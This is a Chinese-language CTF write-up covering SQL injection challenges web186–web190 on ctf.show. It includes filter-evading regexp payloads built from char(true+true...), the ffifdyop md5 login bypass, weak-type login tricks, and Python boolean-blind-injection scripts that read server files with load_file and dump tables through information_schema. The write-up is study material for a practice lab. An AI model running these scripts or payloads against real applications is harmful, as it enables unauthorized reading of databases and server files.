目录
1、web186
2、web187
3、web188
4、web189
5、web190
1、web186
新增过滤 \%|\<|\>|\^
采用 regexp 正则表达式的方法来匹配,payload:
^ 表示匹配开头,也就是说我们猜测 flag 的第一个字符是 c
tableName=ctfshow_user group by pass having pass regexp(^c)
但是由于过滤了 ^ 和引号,因此需要对 payload 进行转换,可是如何实现拼接 ^ 和其他的字符呢?我们采用 concat 函数,因为这里过滤了数字,原本我想的是只在处理数字时进行转换,但是 concat 这个函数对于非数字的字符,传入的参数需要使用引号包裹,比如我想拼接 a 和 1 ,我就需要这样来:
concat('a',1)
所以即使是 flag 的字母部分,也会用到分号,也就是说我们都要进行转换。
在上一题中我们提到了,使用 true+true 的方法构造出数字比如 true+true+true 就可以构造出 3,再使用 char 函数将数字转为对应的 ASCII 字符,最终实现我们 payload 的转换。
转换函数:
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
strs = '^c'
print(convert(strs))
转化后的结果添加进 payload: 猜测 flag 第一个字符为 c
tableName=ctfshow_user group by pass having pass regexp(concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true)))
回显为 1 ,说明猜测成功
让 gpt 也写了个这样功能的函数,不过看起来不简洁
def string_to_sql_concat(input_string):
def char_to_true_expr(char):
ascii_value = ord(char)
return f"CHAR({'+'.join(['true'] * ascii_value)})"
return 'CONCAT(' + ', '.join(char_to_true_expr(char) for char in input_string) + ')'
input_string = '^c'
sql_expression = string_to_sql_concat(input_string)
print(sql_expression)
之后就是两个 for 循环,依次往后面猜即可,上一题的脚本可用:
#author:yu22x
import requests
import string
url="http://434d7563-1c70-4af7-9f11-2250a4764673.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break
拿到 flag:ctfshow{64573ace-da75-4944-9b2a-e01ac3dcc2bc}
2、web187
md5($_POST['password'],true)
对提交的 password 进行 md5 加密,由于 md5 函数第二个参数为 true,因此会返回字符串。
这里可以采用一个特殊的字符串:ffifdyop
具体情况可以参照我之前的博客:
ctfshow-web9(奇妙的ffifdyop绕过)_ctfshowweb9源代码解析-CSDN博客https://myon6.blog.csdn.net/article/details/133714311
原理还是通过万能密码:使用 admin 和 ffifdyop 进行登录
查看响应:
拿到 flag:ctfshow{e54220e0-e81f-4e0e-ad32-0bbbbdd43d83}
3、web188
在 SQL 中,数字和字符串的比较是弱类型的,如果在比较操作中涉及到字符串和数字,SQL 会尝试将字符串转换为数字,那么只要字符串不是以数字开头,比较时都会转为数字 0 。
$sql = "select pass from ctfshow_user where username = {$username}";
这里 username 并未使用引号包裹
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
关于密码的比较使用两个等号,也是弱类型比较。
因此我们可以用户名和密码都输入 0 ,尝试登录一个用户名和密码都不是数字开头的用户:
拿到 flag:ctfshow{729621d5-4ff5-4758-900a-27af85d381b3}
4、web189
flag在api/index.php文件中
过滤掉了很多东西:联合查询注入、时间盲注函数以及写入内容的 into 都过滤了。
/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/
不同用户名,密码都使用 0 ,页面存在不同回显:
查询失败说明用户不存在
采用布尔盲注结合 load_file 函数读取文件:
#author:yu22x
import requests
import string
url="http://0ffb9345-ff4e-41b2-b404-6981d9abb860.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
print(i)
for j in range(32,128):
#print(chr(j))
data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
flag+=chr(j)
print(flag)
break
yu 师傅这个会跑出 index.php 的全部内容
如果想快一点我们只跑关键位置的 flag :
import requests
import time
url = "http://0ffb9345-ff4e-41b2-b404-6981d9abb860.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
for x in flagstr:
data={
"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
"password":"0"
}
print(data)
response = requests.post(url,data=data)
time.sleep(0.3)
# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
if response.text.find("8d25")>0:
print("++++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print(flag)
拿到 flag:ctfshow{ebb23aa7-28cc-4995-91f9-f24357ffdf1e}
5、web190
username 采用了单引号包裹,password 还是弱类型比较
还是两种不同回显状态,密码都用 0
因此还是采用布尔盲注,猜解数据库名:
import requests
import string
url = "http://742f0ab8-2de1-4a7e-b0ff-0b33d00fd19f.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
print(j)
for k in range(32, 128):
data={
'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += chr(k)
print(out)
break
猜解表名,替换 data 里对 username 的传参:
'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
有一个叫 ctfshow_fl0g 的表,继续查该表下面的列名:
'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#"
查具体字段信息:
'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#"
完整脚本:
import requests
import string
url = "http://742f0ab8-2de1-4a7e-b0ff-0b33d00fd19f.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
print(j)
for k in range(32, 128):
# 猜解数据库名
# data={
# 'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#",
# 'password': '1'
# }
# 猜解表名
# data={
# 'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
# 'password': '1'
# }
# 猜解列名
# data={
# 'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
# 'password': '1'
# }
# 猜解 flag
data = {
'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
'password': '1'
}
re = requests.post(url, data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
out += chr(k)
print(out)
break